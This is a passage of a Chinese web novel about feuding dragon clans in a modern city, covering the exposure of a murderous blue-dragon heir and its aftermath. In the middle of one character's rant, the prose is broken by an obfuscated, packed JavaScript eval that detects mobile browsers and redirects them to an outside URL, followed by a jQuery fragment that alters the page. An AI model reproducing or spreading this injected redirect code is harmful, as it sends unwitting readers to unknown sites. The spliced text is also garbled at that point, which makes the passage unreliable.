“亚雷苟斯非但当不了首席执政官,还会身败名裂,他所犯下的罪行每一项都足以令他吃上至少五百年的牢饭,我相信星界财团是不乐意跟这样的人打交道的,也更加不乐意受到牵连,对吧?”奥妮克希亚说,“扎雷姆先生,两枚蓝龙眼,能给你们带来多少好处?你们能拿到多少佣金?两成?还是三成?如果它们能卖到一万亿甚至更高,中介费确实可观,但若是一千亿,甚至压根卖不掉的话……啧啧,值得铤而走险吗?” “你们在要挟我的客人。”扎雷姆两手一摊。 “要挟?真冤枉,我们可什么都没干,他们自己不愿意出价,关我们什么事。” “……你们刚刚残忍地杀死了那位出价的先生。” “这你可就错了。”卡卡懒洋洋地说,“我们没有杀任何人,你看仔细了。” 扎雷姆望向地上被拦腰斩成两截的死者。 之前溅了满地的鲜血居然变成了半透明的紫蓝色,而那“死者”的两截身体正在渐渐“融化”,扎雷姆吃了一惊: “奥术能量?……” “蓝龙最擅长使用的奥术替身,唔,想必是某人派来监视拍卖过程的吧?” 奥妮克希亚话音刚落,地上那一摊淡蓝色液体如水银般聚合在一起,重新凝聚成一个完整的人体,保安部队如临大敌,不约而同地调转枪口瞄准了那个奥术思念体。 “普瑞斯托小姐,雷奥将军,阻挠拍卖会并不会给我的主人带来什么妨碍,相反的,被浪费的是你们的时间。”它面无表情地说,“我的主人根本不在乎拍卖结果,他之所以会选择扎雷姆先生的T6拍卖场,是因为他知道你们的弱点。” “哦?那会是什么呢?”奥妮克希亚问。 “你们太过于骄傲,从来没把蓝龙放在眼里,虽然是同类,但有些事你们并不了解。” “洗耳恭听。”卡卡说。 “眼睛是蓝龙的能量核心,是仅次于心和脑的重要存在,失去了眼睛的蓝龙,会在本能的驱使下,利用体内残余的蓝龙之力把自己传送到眼睛所在的地方,这个过程是不受蓝龙自己控制的。” “……”奥妮克希亚突然有一种很不好的预感。 “在得到了那对蓝龙之眼后,我的主人当天就派人把它们送到了沙塔斯城,这就是数小时后萨菲隆·弗洛斯特在这里出现的原因。”奥术替身直直地看着前方,就像在背诵,“还有一件事是你们不知道的:沙塔斯城受到纳鲁的保护,所以针对任何生命体的暴力行为都不被允许,即便是强大的黑龙和红龙也必须遵守这个规则,然而……” “天啊,原来是这么回事。”扎雷姆喃喃开口。 卡卡突然从椅子上跳了起来:“奥妮,我们中计了!” “……” “我跟安多曾经和萨菲隆交手过,蓝龙可以把对手拉进自己创造的平行位面空间里!” 奥妮心头一凉。 “明白了吗?……纳鲁的禁武规则只在沙塔斯城内有效,蓝龙的平行空间跟沙塔斯城不在同一个位面,所以他们能够绕开这个规则!”卡卡懊恼地说,“但蓝龙的平行空间……除非得到许可,否则我们是无法进入的!” 该死,亚雷苟斯这个混蛋,用萨菲隆的眼睛支开了他们。 他要的哪里是拍卖所得的钱,他要的是萨菲隆和小奥比的性命! “我的主人想通过我对你们表示谢意,因为你们把奥比小少爷带到了沙塔斯城,帮了他的大忙。当你们专注于拍卖台上的蓝龙眼时,主人的精锐手下已经找到了萨菲隆和奥比小少爷——一切都结束了。” 奥术替身改变了形态,化作一个透明的球体,悬浮在半空。 见那奥术球体突然急剧收缩,同时内部核心发出七彩光环,卡卡伤脑筋地揉起太阳穴。 老兄,你该不会是要自爆吧? …… 小奥比睁开眼,警觉地望着巷口。 “你听到了吗?”他问。 萨菲隆点了点头。 “你又在骗我了。”小奥比皱着眉头看着他,“我知道你没听到。” 虽然胸口的伤已被安多洛夫治好,但萨菲隆的感官仍然在迅速衰退,哪怕小奥比揪着他的耳朵大声嚷嚷,他也要全神贯注才能从一团纷乱的杂音中分辨出小奥比的话,要不了多久,他的听觉以及其他感觉就会像视力一样永久消失。 “坚持住,再过一会就好了,他们马上就会把你的眼睛带回来。” 说着小奥比忍不住冲守在巷口的那群黑龙护卫们大叫: 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骗人,这帮人都在撒谎。 他们是亚雷苟斯的手下,小奥比认得他们。 “少爷?” 够了。 他受够了。 自从母亲走了以后,他一直都在逃。 他不想再逃了。 “少爷,准备好上路了吗?”见小奥比慢慢地从那沉默的巨人身后挪了出来,为首的蓝龙笑容可掬地问。 “别说废话了。”小孩低声说,“我知道你们是来干什么的,我知道他不会放过我们。” “是吗,真遗憾,谁也不想看到这样的事发生,但这也没有办法,这是您的叔叔亚雷苟斯对我们直接下达的命令,我们别无选择。” “他不会赢的,他不会的。”小孩说,“你们跟错人了。” 蓝龙们相视而笑。 他们很轻松,因为他们完全占据着优势:平行空间是完美的,纳鲁无从干涉,红龙和黑龙更加束手无策;萨菲隆正在靠最后一丝蓝龙之力勉强维持生命,别说是战斗了,现在的他甚至无法站起来,只能眼睁睁地看着小奥比被他们杀死。 噌—— 小奥比从靴子里抽出了一把小刀,蓝龙们一愣。 “我不会让他如愿以偿的。”小孩如是说。 看着那把只有三寸长的铅笔刀,蓝龙们都笑了。 小奥比又从裤兜里掏出了一个小瓶子,里头装着一些橘色的药片。 “好吧,奥比小少爷,请满足一下我们的好奇心——您究竟打算做什么呢?您是想用那把小刀跟我们决斗吗?那个瓶子里装的是什么?” “也许是毒药。” “哈哈。” 小奥比咬掉瓶塞,闭着眼一仰脖,把那些小药片一口气全倒进嘴里,咔嚓咔嚓地嚼了几下,咕嘟一声吞了下去。 “因为奥术污染发作的时候会很痛,所以那个大光头给我开了一点药。”小孩冲着蓝龙们笑了笑,“止痛的,橘子味,咀嚼片,可以当零食吃哦。” 说着小奥比拿起小刀,咬牙在自己手臂上划了一下。 鲜血渗出,沿着手肘流淌。 “看,很有效,一点都不疼。”小奥比嘿嘿直笑。 “……” 下一刻他做了一件令所有人都不敢置信的事—— 小奥比挖出了自己的右眼,将它飞快地塞进了萨菲隆的眼窝里! 霎那间,蓝色的光流在萨菲隆身上游走,原本死气沉沉的他突然站了起来! 蓝龙之力在体内涌动,萨菲隆感到自己的身体机能在全面复苏,而且更令他诧异的是,他能看到东西了——虽然只能看到一半。 “给。” 他感到有人朝自己掌心放了个东西,转头一看,骇得心脏差点停止跳动! “小鬼!!……你……” “别怕,别替我担心,我……我吃了红龙的药,一……一点都不疼,真的不疼……”小奥比用手捂着自己的眼,但脸颊上滚落的血珠说明了一切。 “喏,这个也先借给你用,我很大方的……对不对?” 说完小孩便昏了过去。 “别发呆!!快干掉他!!——” 如梦初醒的蓝龙们一阵狂轰滥炸,但已经太迟了。 站在自己的奥术防御结界后,萨菲隆将另一枚蓝龙之眼放进了自己的左眼窝,随着这个动作,暴涨数百倍的蓝龙之力激荡起猛烈的能量冲击波,简直如同核弹爆发。 萨菲隆将小奥比轻轻地放下,揉了揉他的头发。 “你……你真是个勇敢的小家伙。”他说,“待会见。” 见那浑身蓝光升腾的巨人转过身,冷冰冰地眯起了眼,蓝龙们面面相觑。 他们这回麻烦大了。 …… 唰—— 就在黑龙守卫们决定自行了断以求他们的公主息怒之际,平静的巷子里突然“闪”了一下,转眼间面目全非,浓烟滚滚,处处残桓断壁,路人纷纷驻足围观,甚至还有人以为是拍摄现场。 萨菲隆抱着小奥比从废墟中走出,浑身蓝光闪耀,威风凛凛宛若战神,众人忙让出路来。 他走到奥妮克希亚和卡卡跟前,两人看了看他,又看了看趴在他肩上的奥比,颇为动容。 “看不出这小鬼还挺有种。”卡卡吹了声口哨。 萨菲隆瞪着卡卡:“那药是你给的?” “嗯。”卡卡漫不经心地点了点头,突然他猛地意识到了什么,吓得一蹦三尺高,顾不上安多的体型其实跟萨菲隆不相上下,闪到奥妮克希亚背后,战战兢兢地缩成一团,“我……我是好心耶!那小鬼疼得死去活来,我看不过去了才给他药的,反……反正又没有副作用,而……而且这种橘子口味的可是我花了很多功夫特别研制出来的新品种,你……哇靠,你不要用那种杀人的眼神盯着我好不好!哦,哦哦哦,对了——你的眼睛我们弄到了,可花了不少钱呢!哎呀,好啦好啦,我回头做个手术把那小鬼的眼睛换回去就是了嘛!现在大敌当前,你别老抓着这点技术细节不放!” “……”萨菲隆目瞪口呆,“我还什么都没说呢。” 他和奥妮视线相对,张了张嘴,却不知该说什么好。 “给。”奥妮克希亚把手伸到他面前摊开,两颗晶莹剔透的球状晶体在她掌心闪闪发光,“安多和卡卡会帮你和小奥比搞定的。” 她说:“别再弄丢了。” 她的口气淡漠,像是从不认识萨菲隆,她这么做只是为了替受难的龙族同胞出头罢了。 萨菲隆接过自己的眼睛,那一刻他有了一个奇怪的念头。 这下他们两讫了,谁也不再亏欠谁了。 这是他想要的吗? 他不知道。 “甜心们。”奥妮克希亚的声音打断了他的思绪,“亚雷苟斯的就职仪式马上就要开始了,准备好给他惊喜了吗?” “我很悲观,那家伙脑子好得很,鬼知道他还会玩什么花招。”卡卡大泼冷水,又冲着萨菲隆抱怨,“你们蓝龙真是太不厚道了,奥术替身这种遥控核弹居然都不限制使用的?要不是我聪明伶俐及时召唤安多当肉盾,天晓得刚才那一下会炸死多少人!一朵蘑菇云升起来,龙族和纳鲁的关系也就全完啦!” “不会有更多的花招了。”奥妮克希亚说,“他这次死定了。” “你还是先好好想想该怎么让他认罪吧。”卡卡没好气地说,“那家伙的律师团可不是摆在那里好看的。” “我有办法。”萨菲隆说。 两人一起看着他,奥妮随后移开了视线。 “我能让他认罪。”他淡淡地说,“我们走吧,去泰坦尼亚。” …… 泰坦尼亚·巨龙神殿 “……在蓝龙新任首席执政官就职典礼举行的前两天,麦洛尼家族的老主管埃雷苟斯上演了一出轰动全城的‘起死回生记’,如同重磅炸弹引爆了各大媒体的头版头条……” “……面对‘主管门’事件的众说纷纭,麦洛尼家族产业却并未表现出丝毫颓势:今天早上泰坦尼亚股市开盘,灵风能源高开,引领大盘走高,势头强劲……” “……关于该事件的真相众说纷纭,短短数小时内就衍生出了数个截然不同的版本——如果说有人刻意想要营造对亚雷苟斯·麦洛尼先生不利的局面,那么通过现在我们在电视画面所看到的场面就不难看出,这确实行之有效……” “……各位观众,这里是泰坦尼亚中央市区的巨龙神殿广场,一大清早这里就聚集了大批的抗议示威者,亚雷苟斯·麦洛尼先生即将就任蓝龙首席执政官,他的众多支持者和反对者之间的分歧也激化到了最高点,为了确保就职典礼顺利进行,泰坦尼亚警方出动大批警力维持秩序——泰坦尼亚三大电视台TVD、TBC和RGB3连同巨龙在线和有线新闻网将对就职典礼进行全程现场直播。” …… 亚雷苟斯轻轻地闭上了眼。 他终于站到了这里。 潮水般的掌声向他涌来,聚光灯在他的背上折射出绚烂的光晕。 台下坐满了人,无不来自名门望族,他们微笑着接受了龙族议会的最终表决结果,无人提出异议,巨龙神殿外的示威者与他们根本不处于同一位面。他们一边彬彬有礼地鼓掌,一边不动声色地审视着这位麦洛尼家族的新主人,亚雷苟斯?全世界最富有的人?从今以后的数千年内,作为蓝龙一族的首脑,这个男人将拥有整个泰坦尼亚五分之一的权力? 大厅静了下来,每个人都在等待这位新任蓝龙首席执政官的演讲。 但亚雷苟斯似乎并没有意识到这一点,他只是站在那里,仿佛在等待什么。 咝——咝咝咝…… 大屏幕上静止的画面突然开始扭曲,像是信号受到了干扰。 屏幕上出现了影像。 我是亚雷苟斯·麦洛尼。 影像品质不太好,还伴随了些许杂音,然而任何人都能辨认出,那是奈克萨斯中央区的原定办公室,而画面里的人,正是现在站在演讲台后的准蓝龙首席执政官。 这是什么别出心裁的主题宣传影像吗? 灵风能源集团的掌门人,想必不会错过这个绝好的□□会吧? 到底是生意人呢。 那种情况下,除了杀掉他,还有什么更好的解决方法呢? 我给过他机会的,太遗憾了。 人群中出现了一点小小的骚动,有人开始交头接耳,会场的工作人员猫着腰一脸紧张地跑来跑去。 亚雷苟斯站在那里,纹丝不动。 他身后的大屏幕上继续播放着影像。 一个是我哥哥,一个是我的侄儿,都是对我来说很重要的人啊。 大厅里静得可怕,所有人都屏息凝视,听着影像中的那个人讲述着整个故事的来龙去脉。 ……多少年后大家提及卡雷苟斯·麦洛尼和他的儿子,都知道是他们的‘牺牲’导致邪恶的黑龙家族走向衰败,真可谓名垂青史……这不正是他一直想要的吗? 一片哗然。 甚至有人经受不住这样的刺激,当场晕了过去。 凶手。 人群中的每一次对视都在传递着同样的信息。 那个男人是凶手。 从巨龙神殿内的投影仪,到外面广场上可供数万人观看的大屏幕,从点击数以亿计的网络直播,到每家每户的电视机——整个泰坦尼亚都在同步播出这段令人震惊的影像档案。 每个人心中的破碎拼图都被一点点地补全。 那个男人杀了他哥哥,还杀了他的侄儿。 为的就是站到那里,为他的公司追逐更大的利益。 一切都不言自明。 突然门被推开,在警卫的戒备下,四个人走进议事大厅,众人纷纷回头。 黑龙公主奥妮克希亚和红龙中将安多洛夫站在左右两侧。 他们中间是一个小男孩和一个巨人。 “那……那不是卡雷苟斯先生的儿子吗?!” “他还活着!” “那个人是谁?为什么穿着暴风城的警察制服?” 亚雷苟斯微微一笑。 “干得很漂亮,我的确没料到你会这么做。”他说,“但有一件事我很好奇——当我挖掉了你的眼睛,用霜之哀伤刺穿了你的心后,这段影像是怎么保留下来的?你的蓝龙之力已经崩溃了,不是吗?” 萨菲隆默不作声地从胸前扯下一枚衬衣纽扣,又从身上摘下一些暗线,最后从腰带的夹层中取出了一个黑色的小盒子。 “亚雷苟斯先生,你和你的奈克萨斯只顾着提防我的蓝龙之力,却忽略了一件事——我在凡人的警署里供职了好几百年,很多时候我更习惯于使用他们的方式。” 那不过是一套便携式的针孔摄像机。 “他就是录影中跟亚雷苟斯对话的人!”人群中有人高喊。 “亚雷苟斯,已经结束了。”红龙中将说。 “有什么能为自己脱罪的手段,就尽管使出来吧,我们法庭上见。”奥妮克希亚说。 小奥比看了他的叔叔一眼,转身朝门外走去,再也没有回头。 亚雷苟斯凝视着那个小小的背影,一言不发。 萨菲隆把摄像机朝身边的红龙中将手里一塞,追出门去。 镁光灯嚓嚓狂闪,大批大批的记者包围住了他和小奥比,无数个话筒伸到他们面前。 “萨菲隆先生,请问您真的是麦洛尼家族流落在外的第一顺位继承人吗?” “萨菲隆先生,请谈谈亲自揭穿自己兄弟阴谋的感想好吗?” “奥比先生,您真的认为您的叔叔谋害了您的父亲吗?” “……” “这样的结局,真令人讨厌。”望着在人海中缓缓前行的一大一小,奥妮克希亚忽然开口道。 “令人讨厌吗?”红龙站在她身边,“黑龙大获全胜,你应该开心才是。” “卡卡。”她微微一笑,“从一开始你就看我不顺眼呢。” “那可真是冤枉。”卡卡说,“对于美丽迷人的公主,我怎敢不敬。” “你想保护萨菲隆,正如你想保护安多一样。”奥妮克希亚说,“你不想让他们和我有什么牵连,因为你深知和黑龙扯上关系的人多半不会有好下场。” “你相信宿命?”卡卡耸了耸肩,“我可不。” “恰恰相反,我也不太相信宿命——但是,卡卡,你以为自己打破了红龙双生子的诅咒,就资格来审判我吗?或者说,你真以为自己已经彻底摆脱那个诅咒了?” “公主殿下,你这话是什么意思?” “你自己清楚。”奥妮克希亚说,“别再来惹我,也别做多余的事,麦洛尼三兄弟的悲剧没在雷奥家族里上演,你应该心存感激,而非沾沾自喜才是。” 听着她的话,卡卡一怔。 看看在镁光灯、麦克风和摄像机包围之下的萨菲隆,再回头看看在众目睽睽下被安保人员团团围住的亚雷苟斯,又想起尸骨无存的卡雷苟斯,卡卡脸上的笑容僵住了。 他从未发现自己跟亚雷苟斯竟如此相似,就连对兄长的嫉恨都如出一辙。 这也完全可能是他和安多的剧本,不是吗? 但很快的,卡卡又笑了起来,他将手放在嘴边做喇叭状,冲着奥妮克希亚远去的背影喊道。 “喂!难道你是认真的吗?……难道他真让你动心了?” 她回过头来,狠狠地瞪了他一眼,干脆利落地朝他竖起中指。 接着两位黑龙侍卫上前为她披上外衣,不留痕迹地掩盖住了那个不合时宜的动作。她竖起衣领,走向大厅出口的另一侧,顿时像强力磁石一般吸引了大片大片的媒体,雪亮的闪光灯像瀑布似的倾泻到她身上,互相推搡的记者们竞相提问,她老练简要地予以回答,围着她的人越来越多,另一边冲着萨菲隆和小奥比围追堵截的记者们见状,也纷纷加入采访黑龙公主的行列。 见萨菲隆和小奥比在埃雷苟斯及其随从的掩护下坐进了轿车,卡卡转身走进大厅,分开人群来到亚雷苟斯身边。 “那么,跟我来吧,亚雷苟斯先生,我想现在应该有很多人正在等待你的解释。” “蓝龙输了,黑龙赢了,你们红龙得不到任何好处。”嘈杂之中,亚雷苟斯用只有卡卡才能听到的声音说。 “果然‘好处’这东西,就是你用来衡量任何事的唯一标准而已啊。”卡卡嘲弄地说,用手按住他的肩膀。 “红龙教父在养虎为患,今天你们帮助普瑞斯托家族,总有一天会后悔的。” “走吧!“ 红龙不客气地在他的背上推了一把。 安保人员手拉着手,在他们四周围起人墙,竭尽全力应付着几近癫狂的媒体。 亚雷苟斯神情漠然,闪光灯此起彼伏,他毫无反应。 泰坦尼亚注定今夜无眠。 15. 第 15 章 …… “爸爸!看我!快看我嘛!” 一望无际的雪原上,一个小女孩正在和她的母亲玩雪橇。 男人把手放在嘴边,朝自己在雪地里跌爬滚打玩得忘乎所以的妻子和女儿喊着,要她们注意安全。 “她们玩得很开心哩。”男人的头顶传来一个浑厚如雷的声音。 “是呀,她们几乎就没怎么见过雪。”男人笑道,“这里这么漂亮,又有那么多动物园里根本见不着的动物,当然开心了。” “科比,只要你们愿意来,这里永远欢迎你们一家人。”那个声音说,“可是——” “我们都明白。”科比说,“我们一家人会永远守着这个秘密,放心吧,老萨。” “谢谢。” “说起来,她们真的一点都不怕你呢。”科比有些不好意思地说,“当初我第一次看到你本来的样子,差点吓得尿裤子,嘿嘿——简直像个傻瓜一样。”说着他伸手摸了摸身边那条蓝色巨龙的下巴,“我说,老萨,不是所有的龙都像你这么好相处的吧?” “我不知道,科比,我对我的同族了解真的不多。”萨菲隆低声说。 “是吗。”科比沉默了片刻,有些犹豫地问,“那么,后来呢?” “唔?” “后来,他们怎么样了?”科比望着他,“我的女儿每天晚上都吵着要我讲完那个故事,我可实在没本事编个结尾应付她,老萨,你得帮帮我。” “他认罪了。”萨菲隆说。 “哎?就这么认罪了?”科比一脸吃惊。 萨菲隆点了点头,望着雪坡上兴致勃勃的两个身影入神。 出乎所有人意料之外的,亚雷苟斯没有替自己做任何辩解,面对检方提出的一切指控均供认不讳。将受贿于亚雷苟斯的成员解除职务后,龙族议会做出了最终裁决: 亚雷苟斯·麦洛尼将被终身囚禁在位于位于泰坦尼亚最底层的巨龙之渊中。 至始至终,泰坦尼亚对此事保持极其严密的信息封锁。 因为这起惊天丑闻,灵风能源集团可以说是遭到了灭顶之灾,虚空风暴开发一事当然不了了之,灵风在艾泽拉斯和外域各地的业务都受到了不同程度的影响。亚雷苟斯案实在太令人震惊,灵风的各大股东谁也不愿遭受牵连,于是纷纷撤资,原本炙手可热的股票一下子成了烫手山芋,所有人都争先恐后地抛售灵风的股份,泰坦尼亚的“灵风冲击”瞬间引发整个艾泽拉斯股市动荡,负债破产者不计其数,权威经济机构预测,能源市场的剧烈动荡将会引发世界范围的经济衰退——“艾泽拉斯一夜之间倒退了二十年”。 卡雷苟斯身亡,亚雷苟斯被无限期监禁,有人说麦洛尼家族从此完了。 “蓝龙的陨落”、“饮鸩止渴的没落贵族”、“泰坦尼亚从此进入七大家族的时代”一类的标题占据着泰坦尼亚各大媒体的头版头条,蓝龙之殇,众说纷纭,无非亲痛仇快而已。 针对这一情况,在亚雷苟斯入狱后,麦洛尼家族召开了新闻发布会。 走上演讲台的只有一个人,事实上,那是现在唯一有资格代表麦洛尼家族发言的人。 小奥比甚至需要踩在两张叠起来的椅子上才够得着话筒。 那个孩子面无表情地念完了事先准备好的演讲稿,并宣布自己是麦洛尼家族的新一代掌门人。 新闻发布会上,他正式启用了自己的全名——奥雷苟斯·麦洛尼。 “现在你们可以提问了。”他说。 台下接踵摩肩的媒体记者面面相觑,两分钟过去了,全场寂静无声,竟无人提问。 终于人群中举起了一只手。 “请……请问,萨菲隆·弗洛斯特……呃,萨菲隆·麦洛尼先生,他……” 那天唯一一个提给小奥比的问题,是关于他的。 …… “他是怎么回答的呢?”科比轻声问。 “他说我是他的叔叔,他说我过惯了一个人清静的日子。”萨菲隆缓缓地说。 小孩要求泰坦尼亚的媒体不要去打扰萨菲隆,并声称如有人故意骚扰萨菲隆,将会受到麦洛尼家族的严厉报复。 他的确是在新闻发布会上使用了“报复”这个词。 “我的家族正在经历一段艰难时期,但是,要对付几个不听话的媒体,还是绰绰有余的,所以请不要心存侥幸。” 这是小奥比当着全泰坦尼亚媒体的面搁下的原话。 因此萨菲隆现在依旧是暴风城的警察,他换了一个住处,和自己新建的巢穴联在了一起。 好像什么事都一如既往,但他知道一切都变了。 “他们希望我回泰坦尼亚,但我拒绝了。”萨菲隆忧心忡忡地望着他的同事,“科比,我做了蠢事吗?我是不是毁了我跟小奥比的关系?他最需要帮忙的时候,我却逃回暴风城躲在这里……我是不是一个很差劲的叔叔?” 百般央求萨菲隆到泰坦尼亚遭到婉拒后,出离愤怒的小奥比拖着还没死心的老埃雷回泰坦尼亚“继位”,从那以后萨菲隆就再也没有麦洛尼家的消息,小奥比再也没跟他联系过,那小家伙一定恨死他了。 当然他也再没得到过奥妮克希亚的消息。 灵风濒危,龙族势力大洗牌,黑石趁机抢夺市场,普瑞斯托兄妹现在一定忙得不可开交吧? 科比想不出什么话来安慰这条郁闷的大龙,只好拍拍他的下巴说: “没事,你还有我呢!” 萨菲隆半响冒出来一句:“可你都已经结婚了。” 科比吃惊地瞪着他:“我就知道!我就知道!” “你知道什么?”萨菲隆问。 “你不肯去泰坦尼亚,甘愿留在这儿当警察,是因为你爱我哇!” “被你看穿了啊,既然是这样,那就让我把你吃掉吧!”萨菲隆乐了。 “喂,你不是说你只喜欢吃鱼的吗?”科比不满地嚷嚷。 萨菲隆正要搭话,突然身边的奥术屏幕闪烁起来。 “嗯?有人来了。” 他用前爪撑起身子,抖了抖身上的雪,变成人形:“你们先在这儿待着,我出去一下。” 钻出衣柜,萨菲隆走出卧室,把门拉开。 一个巨大的行李袋迎面飞来,他下意识地接住,然后听到有人在对他说: “喂,老爸,我过来住了。” 萨菲隆刚想说对方是不是走错门了,却发觉那声音很耳熟,放下行李袋一看,顿时目瞪口呆。 一个看起来约莫十岁大的小孩,戴了副大大的墨镜,腮帮里一个劲地嚼着什么。 啵!—— 泡泡破了,小孩摘下墨镜,冲着他扬了扬下巴,算是打招呼。 那不是小奥比是谁? “你……你……”萨菲隆想问他来这里做什么,又觉得不妥,便问,“发生什么事啦?” “我跟那老头吵了一架,然后我离家出走了。”小奥比说。 为什么他一点都不觉得意外呢? “喂,老爸。”见他一会一脸欣喜,一会愁眉苦脸,片刻光景脸上的表情已经换了好几次,小孩盯着他,“你该不会不收留我,或者刚让我住下来,转身就跟那老头打电话吧?” 萨菲隆摇了摇头:“你爱待多久都可以,可是,你为什么要离家出走?” 不问还好,一问到这个小孩立即大发雷霆: “我说我要全世界裁掉两万人,高官全部限薪,那老头死活不肯,跟我唠唠叨叨说什么谁谁谁是灵风的老员工,干了多少年,没有功劳也有苦劳,又说什么现在裁人灵风会更惨——有什么惨的?灵风股票已经跌进万丈深渊了,一群人忙着落井下石,裁点人又能怎样?那些什么‘老员工’,原来的老板坐牢了,他们还不是一样忙着抛手里的股票,还到处投简历,还以为我不知道他们有些人的简历都投到黑石那边去了啊,开玩笑,我在黑石那边可是有人的——这样的家伙留着干什么,赶紧裁掉得了——你说气不气人,为了接灵风这个烂摊子我可是忍辱负重,现在每天只能玩三个钟头的电子游戏,新出的电影剧集真人秀我都好久没跟了,都快要跟不上时代了,我容易吗我?有没有搞错,我现在是麦洛尼家里管事的耶,我说什么就是什么,哪来这么多废话!那老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17363278|199776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头不听我的那他来啊,叫他谋权篡位他又不肯,成天跟我对着干这算什么嘛!……” 听着小奥比叽叽呱呱的抱怨,看着那小鬼穿着鞋在他的旧沙发上踩来踩去,萨菲隆忽然哈哈大笑起来,雄浑的笑声震动着整间屋子,他已经很久没有这么笑过了。 “你笑什么?哼,我就知道,不肯帮忙也就算了,还等着看我好戏,我恨你!”见他笑得开心,小奥比走到他面前,气呼呼地跺他的脚。 萨菲隆很想问小孩过得好不好,可话到了嘴边又被咽了下去。 还有比这更傻的问题吗?麦洛尼家族出了那么大的事,整个世界一片混乱,要是过得好,小孩怎会离家出走? “你怎么不问我过得好不好?”小奥比双手叉腰,一脸不满地仰着下巴看他。 “……” “你也不抱我。”小奥比的表情看起来十分气恼,“你是不是还在生我的气?好了嘛,是我不对嘛,可我只是个小孩——哇!“ 萨菲隆屈膝跪在小奥比跟前,把那具依然瘦小的身躯紧紧地拥入怀中。 “我是怕你还在生我的气。”他低声道,“对不起,小家伙,我——” “我好想你。”小孩咬着嘴唇小声说。 “我也是。”萨菲隆居然觉得自己眼睛有点湿漉漉的,“奥术污染……没再发作过吧?那里的人现在对你好不好?你……” 他有好多问题想问,不过奥比并没有给他机会,从他怀里跳出来,大大咧咧地摆着手: “哎呀,拜托,老叔,又不是什么生离死别的,不要这么煽情啦,真是的,搞得跟肥皂剧一样哭哭啼啼的多没劲!” 萨菲隆眨了眨眼,“老叔”?这是他的最新称号? 小奥比从裤兜里摸出一张纸递给他:“差点忘了——喏,这个给你。” “这是什么?”萨菲隆接过来一看,发现是张支票,再一看面额,顿时一阵眩晕。 “这里是六百万金币。”小奥比拉开冰箱,翻出一罐果汁,看了看保质期,打开咕嘟咕嘟地喝了一气,“这是那女人发给你的零花钱,你赶紧用这钱买几件好衣服,弄条像样的领带,再去做做头发什么的吧。” “哈?”萨菲隆一头雾水地看着支票上的一堆0。 “哈什么哈,这本来就是你的钱——你忘啦?你不是有很多灵风的股票吗?” 萨菲隆想起来了。 每次领了薪水,他都会拿出一部分来买灵风的股票——因为这是他在凡人世界里唯一能接触到的“蓝龙产业”——自家人的企业当然应该支持——于是几百年过去了,不知不觉他已经买了八万多股,却从没关心过这些股票的价值。 “自从那个人要当上蓝龙首席执政官的消息被确认后,灵风的股票就开始一路疯涨,当他走进巨龙神殿,站在演讲台上时,灵风的股价达到了历史最高点。”小奥比说,“在那段影像开始播放前,她把你手里全部的灵风股票都抛掉了,五分钟后,灵风的股票一落千丈,阿猫阿狗们也纷纷跟着跳楼了。总而言之你现在已经是大富翁啦,我看你以后也别再当什么警察了,我也不当什么CEO了,不如赶明儿买条船我们去周游世界吧?” “奥妮,奥妮她……”萨菲隆努力消化着小奥比带来的信息。 “她最近很忙。”小奥比把空罐头丢进垃圾篓,“沙塔斯城的那些虚灵,说蓝龙的奥术替身自爆,把他们的拍卖场炸了个大洞,硬要我们补偿,结果她花了一千亿金币把你的两只眼睛买下来——我想你大概还不知道这事,不过你也先别感动,她这钱可没白花,全用灵风的股票兑换了——你真该看看她在灵风董事会议上出现时其他人的表情,超搞笑的。” 小奥比一边说着一边朝萨菲隆的卧室走去:“所以我才叫你好好打扮,你总不能穿着警察制服跟人家约会吧?……好啦,不管你了,你那个衣柜还在吧?我要去你的窝里玩雪——” “噢,那个,奥比,等一下!……” 几分钟后,萨菲隆的卧室里传来了小奥比愤怒的喊声: “喂,姓弗的,那里头怎么还有其他人啊?!” “……” 16. 第 16 章 泰坦尼亚·麦洛尼主宅,“灵风冲击”事件数个月前。 “夜之魇”阿坎纳苟斯守在门口,光滑如镜的地面留下了他的倒影。 雕花大门闭合着,尽管有着优良的隔音设施,但他仍能听到里面传出的响动。 枪炮声,呼喊声和爆炸声被强劲的低频音响推至耳边,对于他来说,那些对白几乎耳熟能详,他甚至能记下每一句对白出现的时间。 那是一部很老的电影,具体摄制于哪年他不太确定,但总之是部老片。 那个时候泰坦尼亚外的凡人对这类电影情有独钟——战火纷飞的年代,隐忍而倔强的爱情,煽情的题材,几乎部部都能赚人热泪。 不过里面正在放的这部片子,导演的技法谈不上高明,演员表现平平,情节也差强人意。 因而阿坎纳苟斯总是很费解。 为什么屋子里的人,会对这部片子情有独钟呢? 以至于到了每隔一周就要看一次的程度? 屋子里传来一声轻咳,音量不大,但穿透力很强,他忙理了理衣领,深吸了口气,沉稳地推开大门。 这是一间个人视听室,巨大的奥术投影壁上,字幕正缓缓升起。 一个男人坐在靠背椅上,背对着他。 男人的身边还有一张较小的空椅,上面放着一只有点旧的玩具熊。 在这个房间前卫冷峻的装饰的衬托下,这只玩具熊显得格外突兀。 “老爷有何吩咐?” “他近来怎样?”男人问。 “小少爷他近来一切都好。”他应道。 “他还是经常逃课吗?”男人又问。 “在埃雷先生的规劝下,比原来好了一些。” 男人沉默了片刻,又问:“他……最近在玩些什么?他还有在捣鼓股票什么的吗?” “是的,先生。”说着他将一份文件递了过去。 男人接过来,翻开看了两眼,又递还给他:“你知道该怎么做。” “是。”他点了点头。 他会去找负责基金投资等相关事务的干部,而他们会想方设法地让这份文件上所涉及到的上市公司的股价涨上去。 这样一来,无论小少爷出手买了哪支股票,都一定会赚钱。 自从小少爷对股市产生兴趣,买了第一支股票时起,老爷就开始这样做了。 他在想,要是他也跟着这份文件里的“股市风向标”买上一点,或是把“近期某某股票会大涨”的消息放出去,大概现在也是鼎鼎大名的“股神”了。 当然只是想想而已。

